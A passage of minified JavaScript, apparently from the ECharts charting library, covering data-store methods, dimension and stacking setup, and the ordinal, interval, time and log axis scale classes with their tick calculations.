t_(e,t)})},t.prototype.getVisual=function(t){var e=this._visual;return e&&e[t]},t.prototype.setVisual=function(t,e){this._visual=this._visual||{},a_(t)?I(this._visual,t):this._visual[t]=e},t.prototype.getItemVisual=function(t,e){var n=this._itemVisuals[t],r=n&&n[e];return null==r?this.getVisual(e):r},t.prototype.hasItemVisual=function(){return this._itemVisuals.length>0},t.prototype.ensureUniqueItemVisual=function(t,e){var n=this._itemVisuals,r=n[t];r||(r=n[t]={});var i=r[e];return null==i&&(U(i=this.getVisual(e))?i=i.slice():a_(i)&&(i=I({},i)),r[e]=i),i},t.prototype.setItemVisual=function(t,e,n){var r=this._itemVisuals[t]||{};this._itemVisuals[t]=r,a_(e)?I(r,e):r[e]=n},t.prototype.clearAllVisual=function(){this._visual={},this._itemVisuals=[]},t.prototype.setLayout=function(t,e){a_(t)?I(this._layout,t):this._layout[t]=e},t.prototype.getLayout=function(t){return this._layout[t]},t.prototype.getItemLayout=function(t){return this._itemLayouts[t]},t.prototype.setItemLayout=function(t,e,n){this._itemLayouts[t]=n?I(this._itemLayouts[t]||{},e):e},t.prototype.clearItemLayouts=function(){this._itemLayouts.length=0},t.prototype.setItemGraphicEl=function(t,e){!function(t,e,n,r){if(r){var i=Dl(r);i.dataIndex=n,i.dataType=e,i.seriesIndex=t,i.ssrType="chart","group"===r.type&&r.traverse(function(r){var i=Dl(r);i.seriesIndex=t,i.dataIndex=n,i.dataType=e,i.ssrType="chart"})}}(this.hostModel&&this.hostModel.seriesIndex,this.dataType,t,e),this._graphicEls[t]=e},t.prototype.getItemGraphicEl=function(t){return this._graphicEls[t]},t.prototype.eachItemGraphicEl=function(t,e){E(this._graphicEls,function(n,r){n&&t&&t.call(e,n,r)})},t.prototype.cloneShallow=function(e){return e||(e=new t(this._schema?this._schema:s_(this.dimensions,this._getDimInfo,this),this.hostModel)),r_(e,this),e._store=this._store,e},t.prototype.wrapMethod=function(t,e){var n=this[t];X(n)&&(this.__wrappedMethods=this.__wrappedMethods||[],this.__wrappedMethods.push(t),this[t]=function(){var t=n.apply(this,arguments);return e.apply(this,[t].concat(at(arguments)))})},t.internalField=(Jm=function(t){var e=t._invertedIndicesMap;E(e,function(n,r){var i=t._dimInfos[r],o=i.ordinalMeta,a=t._store;if(o){n=e[r]=new l_(o.categories.length);for(var s=0;s<n.length;s++)n[s]=-1;for(s=0;s<a.count();s++)n[a.get(i.storeDimIndex,s)]=s}})},e_=function(t,e,n){return Uo(t._getCategory(e,n),null)},t_=function(t,e){var n=t._idList[e];return null==n&&null!=t._idDimIdx&&(n=e_(t,t._idDimIdx,e)),null==n&&(n="e\0\0"+e),n},n_=function(t){return U(t)||(t=null!=t?[t]:[]),t},i_=function(e){var n=new t(e._schema?e._schema:s_(e.dimensions,e._getDimInfo,e),e.hostModel);return r_(n,e),n},r_=function(t,e){E(u_.concat(e.__wrappedMethods||[]),function(n){e.hasOwnProperty(n)&&(t[n]=e[n])}),t.__wrappedMethods=e.__wrappedMethods,E(c_,function(n){t[n]=k(e[n])}),t._calculationInfo=I({},e._calculationInfo)},void(o_=function(t,e){var n=t._nameList,r=t._idList,i=t._nameDimIdx,o=t._idDimIdx,a=n[e],s=r[e];if(null==a&&null!=i&&(n[e]=a=e_(t,i,e)),null==s&&null!=o&&(r[e]=s=e_(t,o,e)),null==s&&null!=a){var l=t._nameRepeatCount,u=l[a]=(l[a]||0)+1;s=a,u>1&&(s+="__ec__"+u),r[e]=s}})),t}();function f_(t,e){kd(t)||(t=Id(t));var n=(e=e||{}).coordDimensions||[],r=e.dimensionsDefine||t.dimensionsDefine||[],i=vt(),o=[],a=function(t,e,n,r){var i=Math.max(t.dimensionsDetectedCount||1,e.length,n.length,r||0);return E(e,function(t){var e;j(t)&&(e=t.dimsDef)&&(i=Math.max(i,e.length))}),i}(t,n,r,e.dimensionsCount),s=e.canOmitUnusedDimensions&&Qm(a),l=r===t.dimensionsDefine,u=l?$m(t):Km(r),c=e.encodeDefine;!c&&e.encodeDefaulter&&(c=e.encodeDefaulter(t,a));for(var h=vt(c),f=new hg(a),p=0;p<f.length;p++)f[p]=-1;function d(t){var e=f[t];if(e<0){var n=r[t],i=j(n)?n:{name:n},a=new Xm,s=i.name;null!=s&&null!=u.get(s)&&(a.name=a.displayName=s),null!=i.type&&(a.type=i.type),null!=i.displayName&&(a.displayName=i.displayName);var l=o.length;return f[t]=l,a.storeDimIndex=t,o.push(a),a}return o[e]}if(!s)for(p=0;p<a;p++)d(p);h.each(function(t,e){var n=Eo(t).slice();if(1===n.length&&!Y(n[0])&&n[0]<0)h.set(e,!1);else{var r=h.set(e,[]);E(n,function(t,n){var i=Y(t)?u.get(t):t;null!=i&&i<a&&(r[n]=i,v(d(i),e,n))})}});var g=0;function v(t,e,n){null!=Pl.get(e)?t.otherDims[e]=n:(t.coordDim=e,t.coordDimIndex=n,i.set(e,!0))}E(n,function(t){var e,n,r,i;if(Y(t))e=t,i={};else{e=(i=t).name;var o=i.ordinalMeta;i.ordinalMeta=null,(i=I({},i)).ordinalMeta=o,n=i.dimsDef,r=i.otherDims,i.name=i.coordDim=i.coordDimIndex=i.dimsDef=i.otherDims=null}var s=h.get(e);if(!1!==s){if(!(s=Eo(s)).length)for(var u=0;u<(n&&n.length||1);u++){for(;g<a&&null!=d(g).coordDim;)g++;g<a&&s.push(g++)}E(s,function(t,o){var a=d(t);if(l&&null!=i.type&&(a.type=i.type),v(A(a,i),e,o),null==a.name&&n){var s=n[o];!j(s)&&(s={name:s}),a.name=a.displayName=s.name,a.defaultTooltip=s.defaultTooltip}r&&A(a.otherDims,r)})}});var y=e.generateCoord,m=e.generateCoordCount,_=null!=m;m=y?m||1:0;var x=y||"value";function b(t){null==t.name&&(t.name=t.coordDim)}if(s)E(o,function(t){b(t)}),o.sort(function(t,e){return t.storeDimIndex-e.storeDimIndex});else for(var w=0;w<a;w++){var S=d(w);null==S.coordDim&&(S.coordDim=p_(x,i,_),S.coordDimIndex=0,(!y||m<=0)&&(S.isExtraCoord=!0),m--),b(S),null!=S.type||Op(t,w)!==kp&&(!S.isExtraCoord||null==S.otherDims.itemName&&null==S.otherDims.seriesName)||(S.type="ordinal")}return ua(o,function(t){return t.name},function(t,e){e>0&&(t.name=t.name+(e-1))}),new Zm({source:t,dimensions:o,fullDimensionCount:a,dimensionOmitted:s})}function p_(t,e,n){if(n||e.hasKey(t)){for(var r=0;e.hasKey(t+r);)r++;t+=r}return e.set(t,!0),t}var d_=function(t){this.coordSysDims=[],this.axisMap=vt(),this.categoryAxisMap=vt(),this.coordSysName=t};var g_={cartesian2d:function(t,e,n,r){var i=t.getReferringComponents("xAxis",Qo).models[0],o=t.getReferringComponents("yAxis",Qo).models[0];e.coordSysDims=["x","y"],n.set("x",i),n.set("y",o),v_(i)&&(r.set("x",i),e.firstCategoryDimIndex=0),v_(o)&&(r.set("y",o),null==e.firstCategoryDimIndex&&(e.firstCategoryDimIndex=1))},singleAxis:function(t,e,n,r){var i=t.getReferringComponents("singleAxis",Qo).models[0];e.coordSysDims=["single"],n.set("single",i),v_(i)&&(r.set("single",i),e.firstCategoryDimIndex=0)},polar:function(t,e,n,r){var i=t.getReferringComponents("polar",Qo).models[0],o=i.findAxisModel("radiusAxis"),a=i.findAxisModel("angleAxis");e.coordSysDims=["radius","angle"],n.set("radius",o),n.set("angle",a),v_(o)&&(r.set("radius",o),e.firstCategoryDimIndex=0),v_(a)&&(r.set("angle",a),null==e.firstCategoryDimIndex&&(e.firstCategoryDimIndex=1))},geo:function(t,e,n,r){e.coordSysDims=["lng","lat"]},parallel:function(t,e,n,r){var i=t.ecModel,o=i.getComponent("parallel",t.get("parallelIndex")),a=e.coordSysDims=o.dimensions.slice();E(o.parallelAxisIndex,function(t,o){var s=i.getComponent("parallelAxis",t),l=a[o];n.set(l,s),v_(s)&&(r.set(l,s),null==e.firstCategoryDimIndex&&(e.firstCategoryDimIndex=o))})},matrix:function(t,e,n,r){var i=t.getReferringComponents("matrix",Qo).models[0];e.coordSysDims=["x","y"];var o=i.getDimensionModel("x"),a=i.getDimensionModel("y");n.set("x",o),n.set("y",a),r.set("x",o),r.set("y",a)}};function v_(t){return"category"===t.get("type")}function y_(t,e,n){var r,i,o,a=(n=n||{}).byIndex,s=n.stackedCoordDimension;!function(t){return!jm(t.schema)}(e)?(i=e.schema,r=i.dimensions,o=e.store):r=e;var l,u,c,h,f=!(!t||!t.get("stack")),p=!0;function d(t){return"ordinal"!==t.type&&"time"!==t.type}if(E(r,function(t,e){Y(t)&&(r[e]=t={name:t}),d(t)||(p=!1)}),E(r,function(t,e){f&&!t.isExtraCoord&&(a||l||!t.ordinalMeta||(l=t),u||!d(t)||p&&("x"===t.coordDim||"angle"===t.coordDim)||s&&s!==t.coordDim||(u=t))}),!u||a||l||(a=!0),u){c="__\0ecstackresult_"+t.id,h="__\0ecstackedover_"+t.id,l&&(l.createInvertedIndices=!0);var g=u.coordDim,v=u.type,y=0;E(r,function(t){t.coordDim===g&&y++});var m={name:c,coordDim:g,coordDimIndex:y,type:v,isExtraCoord:!0,isCalculationCoord:!0,storeDimIndex:r.length},_={name:h,coordDim:h,coordDimIndex:y+1,type:v,isExtraCoord:!0,isCalculationCoord:!0,storeDimIndex:r.length+1};i?(o&&(m.storeDimIndex=o.ensureCalculationDimension(h,v),_.storeDimIndex=o.ensureCalculationDimension(c,v)),i.appendCalculationDimension(m),i.appendCalculationDimension(_)):(r.push(m),r.push(_))}return{stackedDimension:u&&u.name,stackedByDimension:l&&l.name,isStackedByIndex:a,stackedOverDimension:h,stackResultDimension:c}}function m_(t,e){return!!e&&e===t.getCalculationInfo("stackedDimension")}function __(t,e){return m_(t,e)?t.getCalculationInfo("stackResultDimension"):e}function x_(t,e,n){n=n||{};var r,i=e.getSourceManager(),o=!1;t?(o=!0,r=Id(t)):o=(r=i.getSource()).sourceFormat===Ol;var a=function(t){var e=t.get("coordinateSystem"),n=new d_(e),r=g_[e];if(r)return r(t,n,n.axisMap,n.categoryAxisMap),n}(e),s=function(t,e){var n,r=t.get("coordinateSystem"),i=tp.get(r);return e&&e.coordSysDims&&(n=B(e.coordSysDims,function(t){var n={name:t},r=e.axisMap.get(t);if(r){var i=r.get("type");n.type=function(t){return"category"===t?"ordinal":"time"===t?"time":"float"}(i)}return n})),n||(n=i&&(i.getDimensionsInfo?i.getDimensionsInfo():i.dimensions.slice())||["x","y"]),n}(e,a),l=n.useEncodeDefaulter,u=X(l)?l:l?G(Ap,s,e):null,c=f_(r,{coordDimensions:s,generateCoord:n.generateCoord,encodeDefine:e.getEncode(),encodeDefaulter:u,canOmitUnusedDimensions:!o}),h=function(t,e,n){var r,i;return n&&E(t,function(t,o){var a=t.coordDim,s=n.categoryAxisMap.get(a);s&&(null==r&&(r=o),t.ordinalMeta=s.getOrdinalMeta(),e&&(t.createInvertedIndices=!0)),null!=t.otherDims.itemName&&(i=!0)}),i||null==r||(t[r].otherDims.itemName=0),r}(c.dimensions,n.createInvertedIndices,a),f=o?null:i.getSharedDataStore(c),p=y_(e,{schema:c,store:f}),d=new h_(c,e);d.setCalculationInfo(p);var g=null!=h&&function(t){if(t.sourceFormat===Ol){return!U(Fo(function(t){var e=0;for(;e<t.length&&null==t[e];)e++;return t[e]}(t.data||[])))}}(r)?function(t,e,n,r){return r===h?n:this.defaultDimValueGetter(t,e,n,r)}:null;return d.hasItemOption=!1,d.initData(o?r:f,null,g),d}var b_=function(){function t(){}return t.prototype.isBlank=function(){return this._isBlank},t.prototype.setBlank=function(t){this._isBlank=t},t}();wa(b_);var w_=0,S_=function(){function t(t){this.categories=t.categories||[],this._needCollect=t.needCollect,this._deduplication=t.deduplication,this.uid=++w_,this._onCollect=t.onCollect}return t.createByAxisModel=function(e){var n=e.option,r=n.data,i=r&&B(r,M_);return new t({categories:i,needCollect:!i,deduplication:!1!==n.dedplication})},t.prototype.getOrdinal=function(t){return this._getOrCreateMap().get(t)},t.prototype.parseAndCollect=function(t){var e,n=this._needCollect;if(!Y(t)&&!n)return t;if(n&&!this._deduplication)return e=this.categories.length,this.categories[e]=t,this._onCollect&&this._onCollect(t,e),e;var r=this._getOrCreateMap();return null==(e=r.get(t))&&(n?(e=this.categories.length,this.categories[e]=t,r.set(t,e),this._onCollect&&this._onCollect(t,e)):e=NaN),e},t.prototype._getOrCreateMap=function(){return this._map||(this._map=vt(this.categories))},t}();function M_(t){return j(t)&&null!=t.value?t.value:t+""}var T_=H({needTransform:1,normalize:1,scale:1,transformIn:1,transformOut:1,contain:1,getExtent:1,getExtentUnsafe:1,setExtent:1,setExtent2:1,getFilter:1,sanitize:1,getDefaultStartValue:1,freeze:1});function k_(t,e,n){return function(t,e){var n=t||{},r=[];n._extents=r,r[0]=e?e.slice():[1/0,-1/0],I(n,P_)}(t=t||{},n),{brk:void 0,mapper:t}}function C_(t,e){E(T_,function(n){t[n]=e[n]})}function I_(t,e){t.freeze=bt}function D_(t){return t.getExtentUnsafe(0,2)}function A_(t,e){return t.getExtentUnsafe(1,e)||t.getExtentUnsafe(0,e)}function L_(t){var e=t.getExtentUnsafe(0,3);return e[1]-e[0]}var P_={needTransform:function(){return!1},normalize:function(t){var e=this._extents[1]||this._extents[0];return e[1]===e[0]?.5:(t-e[0])/(e[1]-e[0])},scale:function(t){var e=this._extents[1]||this._extents[0];return t*(e[1]-e[0])+e[0]},transformIn:function(t){return t},transformOut:function(t){return t},contain:function(t){var e=A_(this,null);return t>=e[0]&&t<=e[1]},getExtent:function(){return this._extents[0].slice()},getExtentUnsafe:function(t){return this._extents[t]},setExtent:function(t,e){O_(this._extents,0,t,e)},setExtent2:function(t,e,n){var r=this._extents;r[t]||(r[t]=r[0].slice()),O_(r,t,e,n)},freeze:function(){0}};function O_(t,e,n,r){aa(n,r)&&(t[e][0]=n,t[e][1]=r)}function R_(t){return N_(t)||B_(t)}function N_(t){return"interval"===t.type}function E_(t){return"time"===t.type}function B_(t){return"log"===t.type}function z_(t){return"ordinal"===t.type}function F_(t){var e=xo(t),n=Ji(10,e),r=Ki(t/n);return r?2===r?r=3:3===r?r=5:r*=2:r=1,so(r*n,-e)}function V_(t){return uo(t)+2}function H_(t,e){return to(t)/to(e)}function W_(t,e,n){var r=n&&n.lookup;if(r)for(var i=0;i<r.from.length;i++)if(t===r.from[i])return r.to[i];return Ji(e,t)}function G_(t,e,n){var r=t.slice();if(r[0]===r[1]){var i=n&&n.ctnShp;if(0!==r[0]){var o=ji(r[0]);e[1]||(r[1]+=o/2),r[0]-=o/2}else i?(r[0]=-1,r[1]=1):r[1]=1}return oa(r[0])&&oa(r[1])||(r[0]=0,r[1]=1),r[1]<r[0]&&r.reverse(),r}function U_(t,e){return Ki(Zi(t=t||e,1))}function X_(t,e,n){var r=D_(t),i=r[0],o=t.count(),a=Math.max((e||0)+1,1);0!==i&&a>1&&o/a>2&&(i=Math.round(Math.ceil(i/a)*a)),i!==r[0]&&l(r[0],!0,!0);for(var s=i;s<=r[1];s+=a)l(s,!1,s===r[0]||s===r[1]);function l(t,e,r){n({value:t,offInterval:e},r)}s-a!==r[1]&&l(r[1],!0,!0)}var Y_=function(t){function e(n){var r=t.call(this)||this;r.type="ordinal",r.parse=e.parse,C_(r,e.decoratedMethods);var i=n.ordinalMeta;i||(i=new S_({})),U(i)&&(i=new S_({categories:B(i,function(t){return j(t)?t.value:t})})),r._ordinalMeta=i;var o=k_(null,0,n.extent||[0,i.categories.length-1]);return r._mapper=o.mapper,I_(r,o.mapper),r}return n(e,t),e.parse=function(t){return null==t?t=NaN:Y(t)?null==(t=this._ordinalMeta.getOrdinal(t))&&(t=NaN):t=Ki(t),t},e.prototype.getTicks=function(){var t=[];return X_(this,0,function(e){t.push(e)}),t},e.prototype.getMinorTicks=function(t){},e.prototype.setSortInfo=function(t){if(null!=t){for(var e=t.ordinalNumbers,n=this._ordinalNumbersByTick=[],r=this._ticksByOrdinalNumber=[],i=0,o=this._ordinalMeta.categories.length,a=qi(o,e.length);i<a;++i){r[n[i]=e[i]]=i}for(var s=0;i<o;++i){for(;null!=r[s];)s++;n[i]=s,r[s]=i}}else this._ordinalNumbersByTick=this._ticksByOrdinalNumber=null},e.prototype._getTickNumber=function(t){var e=this._ticksByOrdinalNumber;return e&&t>=0&&t<e.length?e[t]:t},e.prototype.getRawOrdinalNumber=function(t){var e=this._ordinalNumbersByTick;return e&&t>=0&&t<e.length?e[t]:t},e.prototype.getLabel=function(t){if(!this.isBlank()){var e=this.getRawOrdinalNumber(t.value),n=this._ordinalMeta.categories[e];return null==n?"":n+""}},e.prototype.count=function(){var t=D_(this._mapper);return t[1]-t[0]+1},e.prototype.getOrdinalMeta=function(){return this._ordinalMeta},e.type="ordinal",e.decoratedMethods={needTransform:function(){return this._mapper.needTransform()},contain:function(t){return this._mapper.contain(this._getTickNumber(t))&&t>=0&&t<this._ordinalMeta.categories.length},normalize:function(t){return this._mapper.normalize(this._getTickNumber(t))},scale:function(t){return this.getRawOrdinalNumber(Ki(this._mapper.scale(t)))},transformIn:function(t,e){return this._mapper.transformIn(this._getTickNumber(t),e)},transformOut:function(t,e){return this.getRawOrdinalNumber(this._mapper.transformOut(t,e))},getExtent:function(){return this._mapper.getExtent()},getExtentUnsafe:function(t,e){return this._mapper.getExtentUnsafe(t,e)},setExtent:function(t,e){return this._mapper.setExtent(t,e)},setExtent2:function(t,e,n){return this._mapper.setExtent2(t,e,n)}},e}(b_);function q_(t,e,n,r){for(var i=t.getTicks({expandToNicedExtent:!0}),o=[],a=t.getExtent(),s=1;s<i.length;s++){var l=i[s],u=i[s-1];if(!u.break&&!l.break){for(var c=0,h=[],f=(l.value-u.value)/e,p=V_(f);c<e-1;){var d=so(u.value+(c+1)*f,p);d>a[0]&&d<a[1]&&h.push(d),c++}var g=cf();g&&g.pruneTicksByBreak("auto",h,n,function(t){return t},r,a),o.push(h)}}return o}b_.registerClass(Y_);var Z_=function(t){function e(n){var r=t.call(this)||this;r.type="interval",r.parse=e.parse;hf(r,n=n||{});var i=k_(r,0,null);return r.brk=i.brk,r._cfg={interval:0,intervalPrecision:2,intervalCount:void 0,niceExtent:void 0},r}return n(e,t),e.parse=function(t){return null==t||""===t?NaN:Number(t)},e.prototype.getConfig=function(){return k(this._cfg)},e.prototype.setConfig=function(t){var e=D_(this);this._cfg=t=k(t),null==t.niceExtent&&(t.niceExtent=e.slice()),null==t.intervalPrecision&&(t.intervalPrecision=V_(t.interval))},e.prototype.getTicks=function(t){t=t||{};var e=this._cfg,n=e.interval,r=D_(this),i=e.niceExtent,o=e.intervalPrecision,a=null,s=this.brk,l=a,u=[];if(!n)return u;if("only_break"===t.breakTicks&&l)return a.addBreaksToTicks(u,s.breaks,r),u;r[0]<i[0]&&u.push({value:t.expandToNicedExtent?so(i[0]-n,o):r[0]});for(var c=function(t,e){return Ki((e-t)/n)},h=e.intervalCount,f=i[0],p=0;;p++){if(null==h){if(f>i[1]||!isFinite(f)||!isFinite(i[1]))break}else{if(p>h)break;f=qi(f,i[1]),p===h&&(f=i[1])}if(u.push({value:f}),f=so(f+n,o),s){var d=s.calcNiceTickMultiple(f,c);d>=0&&(f=so(f+d*n,o))}if(u.length>0&&f===u[u.length-1].value)break;if(u.length>3e3)return[]}var g=u.length?u[u.length-1].value:i[1];return r[1]>g&&u.push({value:t.expandToNicedExtent?so(g+n,o):r[1]}),u},e.prototype.getMinorTicks=function(t){return q_(this,t,ff(this),this._cfg.interval)},e.prototype.getLabel=function(t,e){if(null==t)return"";var n=e&&e.precision;return null==n?n=uo(t.value)||0:"auto"===n&&(n=this._cfg.intervalPrecision),Yf(so(t.value,n,!0))},e.type="interval",e}(b_);b_.registerClass(Z_);var j_=function(t){function e(n){var r=t.call(this)||this;r.type="time",r.parse=e.parse,r._locale=n.locale,r._useUTC=n.useUTC,r._interval=0;hf(r,n);var i=k_(r,0,null);return r.brk=i.brk,r}return n(e,t),e.prototype.getLabel=function(t){return Df(t.value,wf[function(t){switch(t){case"year":case"month":return"day";case"millisecond":return"millisecond";default:return"second"}}(Cf(this._minLevelUnit))]||wf.second,this._useUTC,this._locale)},e.prototype.getFormattedLabel=function(t,e,n){return function(t,e,n,r,i){var o=null;if(Y(n))o=n;else if(X(n)){var a={time:t.time,level:t.time?t.time.level:0},s=null;s&&s.makeAxisLabelFormatterParamBreak(a,t.break),o=n(t.value,e,a)}else{var l=t.time;if(l){var u=n[l.lowerTimeUnit][l.upperTimeUnit];o=u[Math.min(l.level,u.length-1)]||""}else{var c=Af(t.value,i);o=n[c][c][0]}}return Df(new Date(t.value),o,i,r)}(t,e,n,this._locale,this._useUTC)},e.prototype.getTicks=function(t){var e=this._interval,n=D_(this),r=this.brk,i=[];if(!e)return i;var o=this._useUTC;i=function(t,e,n,r,i,o){var a=3e3,s=Mf,l=0;function u(t,e,n,i,s,u,c){for(var h=function(t,e){var n=new Date(0);n[t](1);var r=n.getTime();n[t](1+e);var i=n.getTime()-r;return function(t,e){return Math.max(0,Math.round((e-t)/i))}}(s,t),f=e,p=new Date(f);f<n&&f<=r[1];){if(c.push({value:f}),l++>a){0;break}if(p[s](p[i]()+t),f=p.getTime(),o){var d=o.calcNiceTickMultiple(f,h);d>0&&(p[s](p[i]()+d*t),f=p.getTime())}}c.push({value:f,notAdd:f>r[1]})}function c(t,i,o){var a=[],s=!i.length;if(!function(t,e,n,r){return Lf(new Date(e),t,r).getTime()===Lf(new Date(n),t,r).getTime()}(Cf(t),r[0],r[1],n)){s&&(i=[{value:nx(r[0],t,n)},{value:r[1]}]);for(var l=0;l<i.length-1;l++){var c=i[l].value,h=i[l+1].value;if(c!==h){var f=void 0,p=void 0,d=void 0,g=!1;switch(t){case"year":f=Math.max(1,Math.round(e/yf/365)),p=Pf(n),d=Ff(n);break;case"half-year":case"quarter":case"month":f=Q_(e),p=Of(n),d=Vf(n);break;case"week":case"half-week":case"day":f=$_(e),p=Rf(n),d=Hf(n),g=!0;break;case"half-day":case"quarter-day":case"hour":f=J_(e),p=Nf(n),d=Wf(n);break;case"minute":f=tx(e,!0),p=Ef(n),d=Gf(n);break;case"second":f=tx(e,!1),p=Bf(n),d=Uf(n);break;case"millisecond":f=ex(e),p=zf(n),d=Xf(n)}h>=r[0]&&c<=r[1]&&u(f,c,h,p,d,g,a),"year"===t&&o.length>1&&0===l&&o.unshift({value:o[0].value-f})}}for(l=0;l<a.length;l++)o.push(a[l])}}for(var h=[],f=[],p=0,d=0,g=0;g<s.length;++g){var v=Cf(s[g]);if(If(s[g]))if(c(s[g],h[h.length-1]||[],f),v!==(s[g+1]?Cf(s[g+1]):null)){if(f.length){d=p,f.sort(function(t,e){return t.value-e.value});for(var y=[],m=0;m<f.length;++m){var _=f[m].value;0!==m&&f[m-1].value===_||(y.push(f[m]),_>=r[0]&&_<=r[1]&&p++)}var x=i/e;if(p>1.5*x&&d>x/1.5)break;if(h.push(y),p>x||t===s[g])break}f=[]}}var b=F(B(h,function(t){return F(t,function(t){return t.value>=r[0]&&t.value<=r[1]&&!t.notAdd})}),function(t){return t.length>0}),w=b.length-1,S=[];for(g=0;g<b.length;++g)for(var M=b[g],T=0;T<M.length;++T){var k=Af(M[T].value,n);S.push({value:M[T].value,time:{level:w-g,upperTimeUnit:k,lowerTimeUnit:k}})}ua(S,ca,null),S.sort(function(t,e){return t.value-e.value});var C=S[0],I=S[S.length-1],D=Af(r[0],n),A=Af(r[1],n);(!C||C.value>r[0])&&S.unshift({value:r[0],time:{level:0,upperTimeUnit:D,lowerTimeUnit:D},notNice:!0});(!I||I.value<r[1])&&S.push({value:r[1],time:{level:0,upperTimeUnit:A,lowerTimeUnit:A},notNice:!0});return S}(this._minLevelUnit,this._approxInterval,o,n,L_(this),r);var a=Sf.length-1,s=0;return E(i,function(t){t.time&&(a=Math.min(a,P(Sf,t.time.upperTimeUnit)),s=Math.max(s,t.time.level))}),i},e.prototype.getMinorTicks=function(t){return q_(this,t,ff(this),this._interval)},e.prototype.setTimeInterval=function(t){this._interval=t.interval,this._approxInterval=t.approxInterval,this._minLevelUnit=t.minLevelUnit},e.parse=function(t){return Z(t)?Math.round(t):+mo(t)},e.type="time",e}(b_),K_=[["second",df],["minute",gf],["hour",vf],["quarter-day",216e5],["half-day",432e5],["day",10368e4],["half-week",3024e5],["week",6048e5],["month",26784e5],["quarter",8208e6],["half-year",mf/2],["year",mf]];function $_(t,e){return(t/=yf)>16?16:t>7.5?7:t>3.5?4:t>1.5?2:1}function Q_(t){return(t/=2592e6)>6?6:t>3?3:t>2?2:1}function J_(t){return(t/=vf)>12?12:t>6?6:t>3.5?4:t>2?2:1}function tx(t,e){return(t/=e?gf:df)>30?30:t>20?20:t>15?15:t>10?10:t>5?5:t>2?2:1}function ex(t){return Zi(bo(t,!0),1)}function nx(t,e,n){var r=Math.max(0,P(Sf,e)-1);return Lf(new Date(t),Sf[r],n).getTime()}b_.registerClass(j_);var rx=function(t){function e(n){var r=t.call(this)||this;r.type="log",r.parse=Z_.parse,r.base=n.logBase||10;var i=[],o=[],a=r._lookup={from:i,to:o};i[0]=i[1]=o[0]=o[1]=NaN,C_(r,e.mapperMethods);n.breakOption;var s={lookup:a};return r.powStub=new Z_({breakParsed:s.original}),r.intervalStub=new Z_({breakParsed:s.transformed}),I_(r,r.intervalStub),r}return n(e,t),e.prototype.getTicks=function(t){var e=this.base,n=this.powStub,r=this.intervalStub,i={lookup:{from:r.getExtent(),to:n.getExtent()}};return B(r.getTicks(t||{}),function(t){return{value:W_(t.value,e,i),break:void 0}},this)},e.prototype.getMinorTicks=function(t){return q_(this,t,ff(this.powStub),this.intervalStub.getConfig().interval)},e.prototype.getLabel=function(t,e){return this.intervalStub.getLabel(t,e)},e.type="log",e.mapperMethods={needTransform:function(){return!0},normalize:function(t){return this.intervalStub.normalize(H_(t,this.base))},scale:function(t){return W_(this.intervalStub.scale(t),this.base,null)},transformIn:function(t,e){return t=H_(t,this.base),e&&2===e.depth?t:this.intervalStub.transformIn(t,e)},transformOut:function(t,e){var n=e?e.depth:null;return ix.depth=n,ox.lookup=this._lookup,W_(2===n?t:this.intervalStub.transformOut(t,ix),this.base,ox)},contain:function(t){return this.powStub.contain(t)},setExtent:function(t,e){this.setExtent2(0,t,e)},setExtent2:function(t,e,n){if(!(!aa(e,n)||e<=0||n<=0)){var r=ax,i=ax;if(0===t){var o=this._lookup;r=o.to,i=o.from}this.powStub.setExtent2(t,r[0]=e,r[1]=n);var a=this.base;this.intervalStub.setExtent2(t,i[0]=H_(e,a),i[1]=H_(n,a))}},getFilter:function(){return{g:0}},sanitize:function(t,e){return aa(e[0],e[1])&&Co(t)&&t<=0&&(t=e[0]),t},getDefaultStartValue:function(){return 1},getExtent:function(){return this.powStub.getExtent()},getExtentUnsafe:function(t,e){return null===e?this.powStub.getExtentUnsafe(t,null):this.intervalStub.getExtentUnsafe(t,e)}},e}(b_);b_.registerClass(rx);var ix={},ox={},ax=[],sx={value:1,category:1,time:1,log:1},lx=Zo();function ux(t){var e=t.get("type");return null!=e&&(xt(sx,e)||b_.getClass(e))||(e="value"),e}function cx(t,e,n){var r;switch(e){case"category":return new Y_({ordinalMeta:t.getOrdinalMeta?t.getOrdinalMeta():t.getCategories(),extent:[1/0,-1/0]});case"time":return new j_({locale:t.ecModel.getLocaleModel(),useUTC:t.ecModel.get("useUTC"),breakOption:r});case"log":return new rx({logBase:t.get("logBase"),breakOption:r});case"value":return new Z_({breakOption:r});default:return new(b_.getClass(e)||Z_)({})}}var hx=1,fx=2,px=3;function dx(t){var e=t.getLabelModel().get("formatter");if("time"===t.type){var n=Tf(e);return function(e,r){return t.scale.getFormattedLabel(e,r,n)}}if(Y(e))return function(n){var r=t.scale.getLabel(n);return e.replace("{value}",null!=r?r:"")};if(X(e)){if("category"===t.type)return function(n,r){return e(gx(t,n),n.value-t.scale.getExtent()[0],null)};var r=null;return function(n,i){var o=null;return r&&(o=r.makeAxisLabelFormatterParamBreak(o,n.break)),e(gx(t,n),i,o)}}return function(e){return t.scale.getLabel(e)}}function gx(t,e){var n=t.scale;return z_(n)?n.getLabel(e):e.value}function vx(t){var e=t.get("interval");return null==e?"auto":e}function yx(t){return"middle"===t||"center"===t}function mx(t){return t.getShallow("show")}function _x(t,e,n){t.get("breaks",!0)}function xx(t,e,n,r,i,o){var a,s,l=B_(t),u=l?t.intervalStub:t;if(u.setExtent(r[0],r[1]),l){var c=t.powStub,h={depth:2},f=t.transformOut(r[0],h),p=t.transformOut(r[1],h),d=(s=r,[(a=n)[0]!==s[0],a[1]!==s[1]]);e[0]&&!d[0]&&(f=i[0]),e[1]&&!d[1]&&(p=i[1]),c.setExtent(f,p)}u.setConfig(o)}function bx(t,e){return z_(t)?t.getRawOrdinalNumber(e.value):e.value}function Sx(t,e){return z_(t)&&!!e.get("boundaryGap")}var Mx=function(){function t(){}return t.prototype.needIncludeZero=function(){return!this.option.scale},t.prototype.getCoordSysModel=function(){},t}(),Tx=sa(),kx="|&",Cx=Zo(),Ix=Zo();function Dx(t,e){var n=t.model,r=Cx(Ov(n.ecModel)).keyed,i=r&&r.get(e);return i&&i.get(n.uid)}function Ax(t,e){return Px(Dx(t,e))}function Lx(t,e){var n=Cx(Ov(t)).keyed;n&&n.each(function(t,n){t.each(function(t,r){e(t,n,r)})})}function Px(t){return{liPosMinGap:t?t.liPosMinGap:void 0}}function Ox(t,e,n){var r=Dx(t,e);r&&Rx(t.model.ecModel,r.sers,n)}function Rx(t,e,n){if(e)for(var r=0;r<e.length;r++){var i=e[r];t.isSeriesFiltered(i)||n(i)}}function Nx(t,e){var n=t.model,r=Cx(Ov(n.ecModel)).keys;r&&E(r.get(n.uid),function(t){e(t)})}function Ex(t){var e=Ix(function(t){return 